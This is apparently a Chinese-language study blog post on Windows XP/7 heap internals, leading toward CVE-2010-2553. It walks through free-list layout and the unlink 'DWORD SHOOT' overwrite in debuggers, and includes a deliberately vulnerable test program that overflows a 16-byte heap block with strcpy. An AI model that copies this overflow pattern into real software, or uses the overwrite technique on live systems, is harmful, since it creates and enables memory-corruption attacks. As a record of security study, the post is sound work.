漏洞战争-cve-2010-2553

on under 二进制
30 minute read

0x00 堆溢出基础知识

1>good link:
    http://blog.csdn.net/ithzhang/article/details/12711431
    http://www.mottoin.com/87277.html
    http://www.voidcn.com/blog/u010797814/article/p-3924286.html

2>堆表只索引所有的空闲态堆块,已分配|占用的堆块由使用它的程序索引,空闲态堆块和占用态堆块:

    堆块使用_HEAP_ENTYR结构来描述,该结构占8Byte. _HEAP_ENTRY结构之后就是供应用程序使用的区域.调用HeapAlloc函数
    将返回HEAP_ENTRY之后的地址.此地址减去8Byte便可以得到_HEAP_ENTRY结构.对于已经释放的堆块,堆管理器定义了
    _HEAP_FREE_ENTRY结构来描述.该结构的前八个字节与_HEAP_ENTRY结构完全相同.但增加了8个字节来存储空闲链表的头节点.
    _HEAP_FREE_ENTRY是空闲态堆块中的块首(8byte)与flink,blink(4+4=8)的总和,_HEAP_FREE_ENTRY共16byte,_HEAP_ENTRY
    是占用态堆块中对应的块首的结构,大小为8byte.
    如下图:

3>堆溢出实质:
    [alloc(HeapAlloc,malloc)对应unlink]
    [free对应link]

    一个空闲堆块(设为block堆块)的卸下(allocate)必定对应如下操作:

    block.blink.flink=block.flink
    block.flink.blink=block.blink

    也即相当于这个堆块有如下操作:
    [flink+4]=blink
    [blink]=flink

    其中flink代表下一个堆块的索引,blink代表前一个堆块的索引

    通常一个堆块的分配(HeapAlloc)对应一个空闲堆块的卸下,也即对应一个DWORD SHOOT机会,可以在这个堆块分配前通过
    memcopy,strcpy等操作将这个在分配前还处于空闲态的堆块的flink和blink覆盖成任意数据,这个空闲态堆块一旦发生分配
    ,将对应DWORD SHOOT

    0day2中p169页中的"事实上,堆块的分配,释放,合并操作都能引发DWORD SHOOT,甚至快表也可以被用
    来制造DWORD SHOOT"的说法有待考量,到目前,笔者只认同一个空闲堆块的卸下,也即对应0day2这句话中的"堆块的分配"能
    引发DWORD SHOOT
    update:2017/1/12
    学习Double Free后发现堆块的释放也可以制造出一个空闲堆块的卸下,只要这个要释放的堆块相邻内存有一个空闲堆块,这
    样就会由free[对应link]制造出unlink再link,而unlink对应DWORD SHOOT


4>调试堆与调试栈不同,不能直接用调试器来加载程序,否则堆管理函数会检测到当前进程处于调试状态,而使用调试态堆管理
  策略

0x01 堆溢出原理

1>0day2实例

系统:winxp sp3+vc6.0

-----------------0dayheap.c-(page:152)--------
#include <windows.h>
int main()
{
    HLOCAL h1,h2,h3,h4,h5,h6;
    HANDLE hp;
    getchar();//将书中下面的__asm int 3改成这里的getchar(),因为实际中将od设为实时调试提示有问题
    hp=HeapCreate(0,0x1000,0x10000);//创建一个0x1000=4096大小的堆
    //__asm int 3,书中是__asm int 3,在winxp sp3上测试中断效果还好,改成上面的getchar()

    h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
    h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
    h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
    h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
    h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

    //free block and prevent coaleses
    HeapFree(hp,0,h1);//free to freelist[2]
    HeapFree(hp,0,h3);//free to freelist[2]
    HeapFree(hp,0,h5);//free to freelist[4]

    HeapFree(hp,0,h4);//coalese h3,h4,h5,link the large block to freelist[8]

    return 0;
}
--------------------end-----------------------

编译成release版本exe
双击运行0dayheap.exe
od附加
f9
alt+e选择0dayheap.exe
在00401018的call HeapCreate处下断

    00401018    FF15 08604000   call dword ptr ds:[<&KERNEL32.HeapCreate>; kernel32.HeapCreate
    0040101E    8B3D 04604000   mov edi,dword ptr ds:[<&KERNEL32.HeapAll>; ntdll.RtlAllocateHeap
    
在0dayheap.exe的窗口中输入"a",enter
发现od没有成功中断,可能是od的原因
alt+v
t
resume all threads
中断在401018处
f8
    此时eax=3a0000,也即heapcreate创建的堆的起始地址为3a0000
在寄存器窗口中右键eax,在数据窗口中跟随

    003A0000  C8 00 00 00 7A 01 00 00 FF EE FF EE 00 10 00 00  ?..z..??..
    003A0010  00 00 00 00 00 FE 00 00 00 00 10 00 00 20 00 00  .....?..... ..
    003A0020  00 02 00 00 00 20 00 00 30 01 00 00 FF EF FD 7F  .... ..0..稞
    003A0030  05 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00  .............
    003A0040  00 00 00 00 98 05 3A 00 0F 00 00 00 F8 FF FF FF  ....?:....?
    003A0050  50 00 3A 00 50 00 3A 00 40 06 3A 00 00 00 00 00  P.:.P.:.@:.....
    003A0060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    003A0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

alt+m也可以查看堆的起始地址,如下图

在003a000那一行上右键复制一行,粘贴如下:
    Memory map, 条目 15
     地址=003A0000
     大小=00001000 (4096.)
     属主=         003A0000 (自身)
     区段=
     类型=Priv 00021004
     访问=RW
     初始访问=RW

在数据窗口中的003a0000的0x178偏移也即3a0178,是空表索引,也即3a0178指向freelist,3a0178处的值为freelist的第一项内容,如下:
    
    003A0170  00 00 00 00 00 00 00 00      88 06 3A 00 88 06 3A 00  ........?:.?:.

    free[0]=0x003a0178
    free[0].flink=[3a0178]=003a0688
    free[0].blink=[3a0178+4]=003a0688

003a0688处的数据窗口值如下:

    003A0688  78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00  x:.x:.........
    003A0698  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    free[-1]=0x003a0688
    free[-1].flink=[3a0688]=003a0178    ====free[0]
    free[-1].blink=[3a0688+4]=003a0178
    
    可以看出HeapCreate产生的堆中的空表只有两项,也即只有一个堆块,且堆块索引为free[-1]+8=0x003a0690
    h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);//实际分配16字节(2个堆块大小),预测h1=0x3a0690
    h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);//实际分配16字节(2个堆块大小),预测h2=0x3a0690+16=0x3a06a0
    h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);//实际分配16字节(2个堆块大小),预测h3=0x3a0690+16*2=0x3a06b0
    h4=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//实际分配16字节(2个堆块大小),预测h4=0x3a0690+16*3=0x3a06c0
    h5=HeapAlloc(hp,HEAP_ZERO_MEMORY,19);//实际分配32字节(4个堆块大小),预测h5=0x3a0690+16*4=0x3a06d0
    h6=HeapAlloc(hp,HEAP_ZERO_MEMORY,24);//实际分配32字节(4个堆块大小),预测h6=0x3a0690+16*4+32=0x3a06f0
    h1-h6共分配128个字节,128/8=16个堆单元

在六处HeapAlloc上下断

    00401018    FF15 08604000   call dword ptr ds:[<&KERNEL32.HeapCreate>]          ; kernel32.HeapCreate
    0040101E    8B3D 04604000   mov edi,dword ptr ds:[<&KERNEL32.HeapAlloc>]        ; ntdll.RtlAllocateHeap
    00401024    8BF0            mov esi,eax
    00401026    6A 03           push 0x3
    00401028    6A 08           push 0x8
    0040102A    56              push esi
    0040102B    FFD7            call edi     -------->f2
    0040102D    6A 05           push 0x5
    0040102F    6A 08           push 0x8
    00401031    56              push esi
    00401032    8BD8            mov ebx,eax
    00401034    FFD7            call edi     -------->f2
    00401036    6A 06           push 0x6
    00401038    6A 08           push 0x8
    0040103A    56              push esi
    0040103B    FFD7            call edi     -------->f2
    0040103D    6A 08           push 0x8
    0040103F    6A 08           push 0x8
    00401041    56              push esi
    00401042    8BE8            mov ebp,eax
    00401044    FFD7            call edi     -------->f2
    00401046    6A 13           push 0x13
    00401048    6A 08           push 0x8
    0040104A    56              push esi
    0040104B    894424 20       mov dword ptr ss:[esp+0x20],eax
    0040104F    FFD7            call edi     -------->f2
    00401051    6A 18           push 0x18
    00401053    6A 08           push 0x8
    00401055    56              push esi
    00401056    894424 1C       mov dword ptr ss:[esp+0x1C],eax
    0040105A    FFD7            call edi     -------->f2

f8
f8
..
(eip=0x40102d)
    到40102d处eax=0x3a0688,也即h1=0x3a0688,说明预测错了,因为分配上面唯一的堆块(free[-1]=003a0688)分配以后就不
    再是空闲堆块了,变成占用态的堆块,占用态的堆块是没有flink和blik的,也即占用态的堆块的索引不属于空表中,属于
    应用程序.上面唯一的堆块分割以后的堆块是在0x3a0688处割下16个字节(h1的大小)后剩下的唯一的堆块
    现在0x3a688处的数据如下:
        
    003A0688  00 00 00 00 78 01 3A 00 2E 01 02 00 00 10 00 00  ....x:......
    003A0698  78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00  x:.x:.........

    重新预测:
    h1=003a0688
        h1堆块的块首在h1-8=3a0680处:
        003A0680:
        02 00 08 00 AA 01 0D 00          ..?..
        块首的前2个字节对应当前堆块的大小(堆块的个数,每个堆块单位为8字节大小),第3-4个字节对应前一个堆块大小,这
        里前2个字节为0002,也即当前堆块大小为2个堆块,第3-4字节为0008,即前一个堆块大小为8个堆块
    h2=003a0698
    h3=003a06a8
    h4=003a06b8
    h5=003a06c8
    h6=003a06e8

f8
f8
...
(eip=00401036)
    到00401036处eax=3a0698,也即h2=0x3a0698与预测结果一致,h2堆块的块首在h2-8=3a0690处:
    003a0690:
    02 00 02 00 A8 01 0B 00          ..?.
    前2个字节为0002,也即当前堆块大小为2,3-4个字节为0002,也即前一个堆块大小为2
    此时(h1,h2分配完成,h3还未分配)对应的空闲堆块索引(free[-1])为h2+8+8=003a06a0+8=003a06a8,其中003a06a0为空闲
    堆块块首的地址,空闲堆块的索引为块首+8处,具体如下:

    003A0698  00 00 00 00 00 01 3A 00 2C 01 02 00 00 10 00 00  .....:.,....
    003A06A8  78 01 3A 00 78 01 3A 00 00 00 00 00 00 00 00 00  x:.x:.........
    003A06B8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    也即空闲堆块的块首为2c 01 02 00 00 10 00 00==>当前空闲堆块大小为012c,前一个堆块大小为2
    此时的free[-1]=3a06a8,free[-1].flink=[3a06a8]=free[-1].blink=[3a06b0]=003a0178,依然为free[0]

f8
f8
...
(eip=0040103D)
    到0040103D处eax=3a06a8,也即h3=0x3a06a8与预测结果一致,h3堆块的块首在h3-8=3a06a0处:
    003A06A0  02 00 02 00 AE 01 0A 00 00 00 00 00 00 00 3A 00  ..?........:.
    前2个字节为0002,也即当前堆块的大小为2,3-4个字节为0002,也即前一个堆块大小为2
    此时(h1,h2,h3分配完成,h4还没分配)对应的空闲堆块索引(free[-1])为h3+8+8=3a06b0+8=3a06b8,其中003a06b0为空闲堆
    块块首的地址,空闲堆块的索引为块首+8处,具体如下:
    003A06B0  2A 01 02 00 00 10 00 00 78 01 3A 00 78 01 3A 00  *....x:.x:.
    当前空闲堆块大小为012c-2=012a,前一个堆块大小为2
    同样是free[-1].flink=free[-1].blink=003a0178=free[0]

f8
f8
...
(eip=00401046)
    到00401046处eax=3a06b8,也即h4=0x3a06b8与预测结果一致,h4堆块的块首在h4-8=30a6b0处:
    003A06B0  02 00 02 00 AC 01 08 00 00 00 00 00 00 00 00 00  ..?.........
    当前堆块大小为2,前一个堆块大小为2
    h4分配完,h5还没分配,空闲堆块索引(free[-1])为h4+8+8=30a6c0+8=30a6c8
    数据如下:
    003A06C0  28 01 02 00 00 10 00 00 78 01 3A 00 78 01 3A 00  (....x:.x:.
    当前空闲堆块的大小为012a-2=0128,前一个堆块大小为2
    同样是free[-1].flink=free[-1].blink=003a0178=free[0]

f8
f8
...
(eip=00401051)
    到00401051处eax=3a06c8,也即h5=0x3a06c8与预测结果一致,h5堆块的块首在h5-8=3a06c0处:
    003A06C0  04 00 02 00 A2 01 0D 00 00 00 00 00 00 00 00 00  ..?..........
    当前堆块的大小为4,前一个堆块大小为2

f8
f8
...
(eip=0040105c)
    到0040105c处eax=3a06e8,也即h6=0x3a06e8与预测结果一致,h6堆块的块首在h6-8=3a06e0处:
    003A06E0  04 00 04 00 A6 01 08 00 00 00 00 00 00 00 00 00  ..?.........
    当前堆块大小为4,前一堆块大小为4
    h6分配完,空闲堆块索引(free[-1])为h6+8*3+8=3a0700+8=3a0708
    数据如下:
    003A0700  20 01 04 00 00 10 00 00 78 01 3A 00 78 01 3A 00   ....x:.x:.
    当前空闲堆块的大小为0128-4-4=0120,前一个堆块大小为4
    同样是free[-1].flink=free[-1].blink=003a0178=free[0]


在下面的3个堆块释放(call heapfree,释放h1,h3,h5,h4)的函数下断

    0040105C    8B3D 00604000   mov edi,dword ptr ds:[<&KERNEL32.HeapFree>]         ; ntdll.RtlFreeHeap
    00401062    53              push ebx
    00401063    6A 00           push 0x0
    00401065    56              push esi
f2  00401066    FFD7            call edi                                            ; ntdll.RtlAllocateHeap
    00401068    55              push ebp
    00401069    6A 00           push 0x0
    0040106B    56              push esi
f2  0040106C    FFD7            call edi                                            ; ntdll.RtlAllocateHeap
    0040106E    8B4424 10       mov eax,dword ptr ss:[esp+0x10]
    00401072    50              push eax
    00401073    6A 00           push 0x0
    00401075    56              push esi
f2  00401076    FFD7            call edi                                            ; ntdll.RtlAllocateHeap
    00401078    8B4C24 14       mov ecx,dword ptr ss:[esp+0x14]
    0040107C    51              push ecx                                            ; ntdll.7C9301BB
    0040107D    6A 00           push 0x0
    0040107F    56              push esi
    00401080    FFD7            call edi                                            ; ntdll.RtlAllocateHeap
    00401082    5F              pop edi                                             ; 00320036
    00401083    5E              pop esi                                             ; 00320036
    00401084    5D              pop ebp                                             ; 00320036
    00401085    33C0            xor eax,eax
    00401087    5B              pop ebx                                             ; 00320036
    00401088    83C4 08         add esp,0x8
    0040108B    C3              retn

f8
f8
...
(eip=401068)
    到401068处,h1堆块被释放,由于h1实际分配大小为2个堆单元大小(2*8=16字节),释放后将链入free[2]这个空闲链表中
    ,在h1释放之前只有free[0]这一个空闲链表,h1释放后会增加一个空闲链表free[2],此时free[2]这个空表只有一个结点,此
    时free[0]附近数据:

    eip=40105c时,也即上面释放h1之前,free[0]=3a0178,附近的数据如下:

    003A0170  00 00 00 00 00 00 00 00 08 07 3A 00 08 07 3A 00  ........:.:.
    003A0180  80 01 3A 00 80 01 3A 00 88 01 3A 00 88 01 3A 00  €:.€:.?:.?:.
    003A0190  90 01 3A 00 90 01 3A 00 98 01 3A 00 98 01 3A 00  ?:.?:.?:.?:.
    003A01A0  A0 01 3A 00 A0 01 3A 00 A8 01 3A 00 A8 01 3A 00  ?:.?:.?:.?:.
    003A01B0  B0 01 3A 00 B0 01 3A 00 B8 01 3A 00 B8 01 3A 00  ?:.?:.?:.?:.
    003A01C0  C0 01 3A 00 C0 01 3A 00 C8 01 3A 00 C8 01 3A 00  ?:.?:.?:.?:.
    003A01D0  D0 01 3A 00 D0 01 3A 00 D8 01 3A 00 D8 01 3A 00  ?:.?:.?:.?:.
    003A01E0  E0 01 3A 00 E0 01 3A 00 E8 01 3A 00 E8 01 3A 00  ?:.?:.?:.?:.
    003A01F0  F0 01 3A 00 F0 01 3A 00 F8 01 3A 00 F8 01 3A 00  ?:.?:.?:.?:.
    
    现在,eip=401068时,刚释放完h1,free[0]=3a0178,附近数据如下:

    003A0170  00 00 00 00 00 00 00 00 08 07 3A 00 08 07 3A 00  ........:.:.
    003A0180  80 01 3A 00 80 01 3A 00(88 06 3A 00 88 06 3A 00) €:.€:.?:.?:.
    003A0190  90 01 3A 00 90 01 3A 00 98 01 3A 00 98 01 3A 00  ?:.?:.?:.?:.
    003A01A0  A0 01 3A 00 A0 01 3A 00 A8 01 3A 00 A8 01 3A 00  ?:.?:.?:.?:.
    003A01B0  B0 01 3A 00 B0 01 3A 00 B8 01 3A 00 B8 01 3A 00  ?:.?:.?:.?:.
    003A01C0  C0 01 3A 00 C0 01 3A 00 C8 01 3A 00 C8 01 3A 00  ?:.?:.?:.?:.
    003A01D0  D0 01 3A 00 D0 01 3A 00 D8 01 3A 00 D8 01 3A 00  ?:.?:.?:.?:.
    003A01E0  E0 01 3A 00 E0 01 3A 00 E8 01 3A 00 E8 01 3A 00  ?:.?:.?:.?:.
    003A01F0  F0 01 3A 00 F0 01 3A 00 F8 01 3A 00 F8 01 3A 00  ?:.?:.?:.?:.
    
    不同之处是3a0188和3a018c处的003a0188变成了003a0688,而003a0688正是h1的值,而h1释放后将链入free[2]的空表,说明
    3a0188正是free[2]这个位置,那么3a0180就是free[1]的位置,也即从+0x178开始,有128个元素,每个8字节大小,这
    128个元素构成一个指针数组,这个数组叫做"空表索引",这个数组的每一项包括两个指针,指针代表对应空表的第一个空
    闲堆块的内存地址.

f8
f8
...
(eip=40106e)
    到这里h3释放完,由于h3也是两个堆块单元大小,所以h3也将链入到free[2]的空表当中
    可以预测:
    free[2]处的003a0688(free[2]的第一个空闲堆块的索引)对应的内存值[003a0688]=h3=003a06a8,而
    [003a0688+4]=free[2]=3a0188,而[003a06a8]=free[2]=003a0188,[003a06a8+4]=003a0688,free[2]为3a0188,h3释放后
    [3a0188]=3a0688,[3a0188+4]=3a06a8

    实际确实如此,实际数据如下:

    003A0680  02 00 08 00 AA 00 0D 00 A8 06 3A 00 88 01 3A 00  ..?..?:.?:.

    003A06A0  02 00 02 00 AE 00 0A 00 88 01 3A 00 88 06 3A 00  ..?..?:.?:.

    003A0180  80 01 3A 00 80 01 3A 00 88 06 3A 00 A8 06 3A 00  €:.€:.?:.?:.

    如下图:

f8
f8
...
(eip=401078)
    到这里h5释放完,由于h5实际分配大小为4个堆块单元大小,h5堆块释放后将链入free[4]空表中,free[4]=3a0198
    可以预测:
    [3a0198]=h5=003a06c8,[3a0198+4]=h5=003a06c8
    [003a06c8]=3a0198,[003a06c8+4]=3a0198
    
    实际数据如下:

    003A0190  90 01 3A 00 90 01 3A 00 C8 06 3A 00 C8 06 3A 00  ?:.?:.?:.?:.

    003A06C0  04 00 02 00 A2 00 0D 00 98 01 3A 00 98 01 3A 00  ..?..?:.?:.
    与预测结果一致

f8
f8
...
(eip=401082)
    到这里h4释放完,由于h4实际分配大小为2个堆块单元大小,h4堆块释放后将链入free[2]空表中,free[2]=3a0188
    可以预测:
    [free[2]]=[3a0188]=h1=3a0688,[3a0188+4]=h4=3a06b8
    [h1]=[3a0688]=h3=3a06a8,[3a0688+4]=free[2]=3a0188
    [h3]=[3a06a8]=h4=3a06b8,[3a06a8+4]=h1=3a0688
    [h4]=[3a06b8]=3a0188,[3a06b8+4]=h3=3a06a8

    实际数据如下:

    003A06B0  02 00 02 00 AC 01 08 00 00 00 00 00 00 00 00 00  ..?.........

    003A0180  80 01 3A 00 80 01 3A 00 88 06 3A 00 88 06 3A 00  €:.€:.?:.?:.

    003A0680  02 00 08 00 AA 00 0D 00 88 01 3A 00 88 01 3A 00  ..?..?:.?:.

    003A06A0  08 00 02 00 AE 00 0A 00 B8 01 3A 00 B8 01 3A 00  ..?..?:.?:.

    与实际数据并不一致,因为h4释放完后,h3,h4,h5三个空闲堆块相邻,会发生合并,3个堆块大小一共为2+2+4=8个堆单元大小,
    合并后将链入free[8]空表中(free[8]是128个空表中的第9个空表的索引,也即0x3a0000+0x178+8*8=0x3a01b8)
    ,预测:
    [free[8]]=[3a01b8]=h3=3a06a8(h3,h4,h5合并后由h3索引)
    [free[2]]=[3a0188]=h1=3a0688(2个堆块单元大小的空闲堆只剩下h1,原来是h1,h3,h4)
    [h1]=[3a0688]=free[2]=3a0188,[h1+4]=[3a0688+4]=free[2]=3a0188
    [h3]=[3a06a8]=free[8]=3a01b8,[h3+4]=[3a06a8+4]=free[8]=3a01b8

    实际数据如下:

    003A01B0  B0 01 3A 00 B0 01 3A 00 A8 06 3A 00 A8 06 3A 00  ?:.?:.?:.?:.

    003A0180  80 01 3A 00 80 01 3A 00 88 06 3A 00 88 06 3A 00  €:.€:.?:.?:.

    003A0680  02 00 08 00 AA 00 0D 00 88 01 3A 00 88 01 3A 00  ..?..?:.?:.

    003A06A0  08 00 02 00 AE 00 0A 00 B8 01 3A 00 B8 01 3A 00  ..?..?:.?:.

    可见,实际数据与预测结果完全一样,此时[free[0]]=[0x3a0178]=3a0708(一直不变),3a0708处数据如下:
    003A0700  20 01 04 00 00 10 00 00 78 01 3A 00 78 01 3A 00   ....x:.x:.
    可见当前堆块大小为0x120(个堆块单元大小),上一个堆块大小为4?
    并不是这样,因为0x178偏移处并不是堆块,而是大小为128的指针数组中的第一个数组的位置,所以0x178-8并不是块首
    ,偏移0x178是free[0],也即free[0]=0x3a0178,而偏移0x178中存放的内容也即[free[0]]为这个指针数组中的第一个元素
    的值,这个值是个指针,指向free[0]空表中的第一个堆块,此例中free[0]空表只有一个堆块,堆块的索引为3a0708,也即:
    [free[0]]=[3a0178]=3a0708,且[free[0]+4]=[3a0178+4]=3a0708
    而[3a0708]=[3a0708+4]=3a0178

使用堆的三种方法:
    a>GetProcessHeap获得进程默认堆句柄,HeapAlloc(进程默认句柄)可以从默认堆上分配空间
    b>形如HeapCreate(0,0x1000,0x10000)创建不可扩展堆,堆将启用空表,HeapAlloc从堆上分配空间
    c>形如HeapCreate(0,0,0)创建可扩展堆,堆将启用快表,HeapAlloc从堆上分配空间

    在此例中,由于在创建堆时使用的方法是HeapCreate(0,0x1000,0x10000),如果使用的方法是HeapCreate(0,0,0)将创建可
    扩展的堆,这时堆会启用快表,指向快表的指针位于堆偏移??字节处,0day2书中同时指出快表位于0x584和0x688偏移处,通
    过下面代码的调试查看快表的偏移在哪里:

    -----------find-lookaside---------------
    #include <windows.h>
    int main()
    {
    	HANDLE hp;
    	HLOCAL h1,h2,h3;
    	hp=HeapCreate(0,0,0);
    	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
    	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
    	h3=HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
    	getchar();
    	HeapFree(hp,0,h1);
    	HeapFree(hp,0,h1);
    	HeapFree(hp,0,h1);
    
    	return 0;
    
    }
    ------------------end-------------------
    编译成release版本后,运行exe,windbg加载
    dt _PEB @$peb查看进程环境块信息

    0:001> dt _PEB @$peb
    ntdll!_PEB
       +0x000 InheritedAddressSpace : 0 ''
       +0x001 ReadImageFileExecOptions : 0 ''
       +0x002 BeingDebugged    : 0x1 ''
       +0x003 SpareBool        : 0 ''
       +0x004 Mutant           : 0xffffffff 
       +0x008 ImageBaseAddress : 0x00400000 
       +0x00c Ldr              : 0x00241e90 _PEB_LDR_DATA
       +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : (null) 
       +0x018 ProcessHeap      : 0x00140000     ===>进程启动创建的默认堆
       +0x01c FastPebLock      : 0x7c99d600 _RTL_CRITICAL_SECTION
       +0x020 FastPebLockRoutine : 0x7c921000 
       +0x024 FastPebUnlockRoutine : 0x7c9210e0 
       +0x028 EnvironmentUpdateCount : 1
       +0x02c KernelCallbackTable : (null) 
       +0x030 SystemReserved   : [1] 0
       +0x034 AtlThunkSListPtr32 : 0
       +0x038 FreeList         : (null) 
       +0x03c TlsExpansionCounter : 0
       +0x040 TlsBitmap        : 0x7c99d5c0 
       +0x044 TlsBitmapBits    : [2] 1
       +0x04c ReadOnlySharedMemoryBase : 0x7f6f0000 
       +0x050 ReadOnlySharedMemoryHeap : 0x7f6f0000 
       +0x054 ReadOnlyStaticServerData : 0x7f6f0688  -> (null) 
       +0x058 AnsiCodePageData : 0x7ffa0000 
       +0x05c OemCodePageData  : 0x7ffa0000 
       +0x060 UnicodeCaseTableData : 0x7ffd1000 
       +0x064 NumberOfProcessors : 1
       +0x068 NtGlobalFlag     : 0
       +0x070 CriticalSectionTimeout : _LARGE_INTEGER 0xffffe86d`079b8000
       +0x078 HeapSegmentReserve : 0x100000
       +0x07c HeapSegmentCommit : 0x2000
       +0x080 HeapDeCommitTotalFreeThreshold : 0x10000
       +0x084 HeapDeCommitFreeBlockThreshold : 0x1000
       +0x088 NumberOfHeaps    : 5            ===>进程中共有5个堆
       +0x08c MaximumNumberOfHeaps : 0x10
       +0x090 ProcessHeaps     : 0x7c99cfc0  -> 0x00140000    ===>进程堆指针数据
       +0x094 GdiSharedHandleTable : (null) 
       +0x098 ProcessStarterHelper : (null) 
       +0x09c GdiDCAttributeList : 0
       +0x0a0 LoaderLock       : 0x7c99b178 
       +0x0a4 OSMajorVersion   : 5
       +0x0a8 OSMinorVersion   : 1
       +0x0ac OSBuildNumber    : 0xa28
       +0x0ae OSCSDVersion     : 0x300
       +0x0b0 OSPlatformId     : 2
       +0x0b4 ImageSubsystem   : 3
       +0x0b8 ImageSubsystemMajorVersion : 4
       +0x0bc ImageSubsystemMinorVersion : 0
       +0x0c0 ImageProcessAffinityMask : 0
       +0x0c4 GdiHandleBuffer  : [34] 0
       +0x14c PostProcessInitRoutine : (null) 
       +0x150 TlsExpansionBitmap : 0x7c99d5b8 
       +0x154 TlsExpansionBitmapBits : [32] 0
       +0x1d4 SessionId        : 0
       +0x1d8 AppCompatFlags   : _ULARGE_INTEGER 0x0
       +0x1e0 AppCompatFlagsUser : _ULARGE_INTEGER 0x0
       +0x1e8 pShimData        : (null) 
       +0x1ec AppCompatInfo    : (null) 
       +0x1f0 CSDVersion       : _UNICODE_STRING "Service Pack 3"
       +0x1f8 ActivationContextData : (null) 
       +0x1fc ProcessAssemblyStorageMap : (null) 
       +0x200 SystemDefaultActivationContextData : 0x00130000 
       +0x204 SystemAssemblyStorageMap : (null) 
       +0x208 MinimumStackCommit : 0

    +0x018和+0x088处分别为进程默认堆和进程中堆的个数
    +0x090处为进程中所有堆的地址组成的指针数组

    dd 0x7c99cfc0查看进程堆数组
    0:001> dd 0x7c99cfc0
    7c99cfc0  00140000 00240000 00250000 00380000
    7c99cfd0  003a0000 00000000 00000000 00000000
    7c99cfe0  00000000 00000000 00000000 00000000
    7c99cff0  00000000 00000000 00000000 00000000

    或者!heap -h查看所有堆的地址
    0:001> !heap -h
    Index   Address  Name      Debugging options enabled
      1:   00140000 
        Segment at 00140000 to 00240000 (00004000 bytes committed)
      2:   00240000 
        Segment at 00240000 to 00250000 (00006000 bytes committed)
      3:   00250000 
        Segment at 00250000 to 00260000 (00003000 bytes committed)
      4:   00380000 
        Segment at 00380000 to 00390000 (00002000 bytes committed)
      5:   003a0000 
        Segment at 003a0000 to 003e0000 (00003000 bytes committed)

    两种方法得到的结果一样,其中最后一个堆的地址0x003a0000是代码中HeapCreate(0,0,0)创建得到的堆地址

    dt _HEAP 0x3a0000查看这个堆的结构
    0:001> dt _HEAP 0x3a0000
    ntdll!_HEAP
       +0x000 Entry            : _HEAP_ENTRY
       +0x008 Signature        : 0xeeffeeff
       +0x00c Flags            : 0x1002
       +0x010 ForceFlags       : 0
       +0x014 VirtualMemoryThreshold : 0xfe00
       +0x018 SegmentReserve   : 0x100000
       +0x01c SegmentCommit    : 0x2000
       +0x020 DeCommitFreeBlockThreshold : 0x200
       +0x024 DeCommitTotalFreeThreshold : 0x2000
       +0x028 TotalFreeSize    : 0x229
       +0x02c MaximumAllocationSize : 0x7ffdefff
       +0x030 ProcessHeapsListIndex : 5
       +0x032 HeaderValidateLength : 0x608
       +0x034 HeaderValidateCopy : (null) 
       +0x038 NextAvailableTagIndex : 0
       +0x03a MaximumTagIndex  : 0
       +0x03c TagEntries       : (null) 
       +0x040 UCRSegments      : (null) 
       +0x044 UnusedUnCommittedRanges : 0x003a0598 _HEAP_UNCOMMMTTED_RANGE
       +0x048 AlignRound       : 0xf
       +0x04c AlignMask        : 0xfffffff8
       +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x3a0050 - 0x3a0050 ]
       +0x058 Segments         : [64] 0x003a0640 _HEAP_SEGMENT
       +0x158 u                : __unnamed
       +0x168 u2               : __unnamed
       +0x16a AllocatorBackTraceIndex : 0
       +0x16c NonDedicatedListLength : 1
       +0x170 LargeBlocksIndex : (null) 
       +0x174 PseudoTagEntries : (null) 
       +0x178 FreeLists        : [128] _LIST_ENTRY [ 0x3a1ec0 - 0x3a1ec0 ]
       +0x578 LockVariable     : 0x003a0608 _HEAP_LOCK
       +0x57c CommitRoutine    : (null) 
       +0x580 FrontEndHeap     : 0x003a0688 
       +0x584 FrontHeapLockCount : 0
       +0x586 FrontEndHeapType : 0x1 ''
       +0x587 LastSegmentIndex : 0 ''

    可以在0x178偏移处找到free[0](0号空表)

    dt _LIST_ENTRY 0x3a0178
    ntdll!_LIST_ENTRY
     [ 0x3a1ec0 - 0x3a1ec0 ]
       +0x000 Flink            : 0x003a1ec0 _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]
       +0x004 Blink            : 0x003a1ec0 _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]

    dd 0x3a0688
    0:001> dd 0x3a0688
    003a0688  00000000 00000000 01000004 00000000
    003a0698  00000000 00000000 00000000 00000000
    003a06a8  00000000 00000003 00000000 00000000
    003a06b8  00000000 00000000 01000004 00000000

    0x3a0000堆中能找到0号空表但是却找不到快表,0day2中说的0x688和0x584偏移处并不是快表的所在,关于快表的所在和出
    现条件,暂惑不得解

2>漏洞战争实例

系统:win7 x64+vc6.0

------------------heapoverflow.c---------------------
#include <windows.h>
#include <stdio.h>

int main()
{
    HANDLE hHeap;
    char *heap;
    char str[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    hHeap=HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x1000,0xffff);
    getchar();

    heap=HeapAlloc(hHeap,0,0x10);
    printf("heap addr:0x%08x\n",heap);

    strcpy(heap,str);
    HeapFree(hHeap,0,heap);

    HeapDestroy(hHeap);
    return 0;
}
------------------------end--------------------------

编译成release版本,生成了heapoverflow.exe,双击exe,od附加
alt+e
    选择对应exe,call getchar下面一句对应如下汇编代码
    0040104b  |.  83c404        add     esp,4
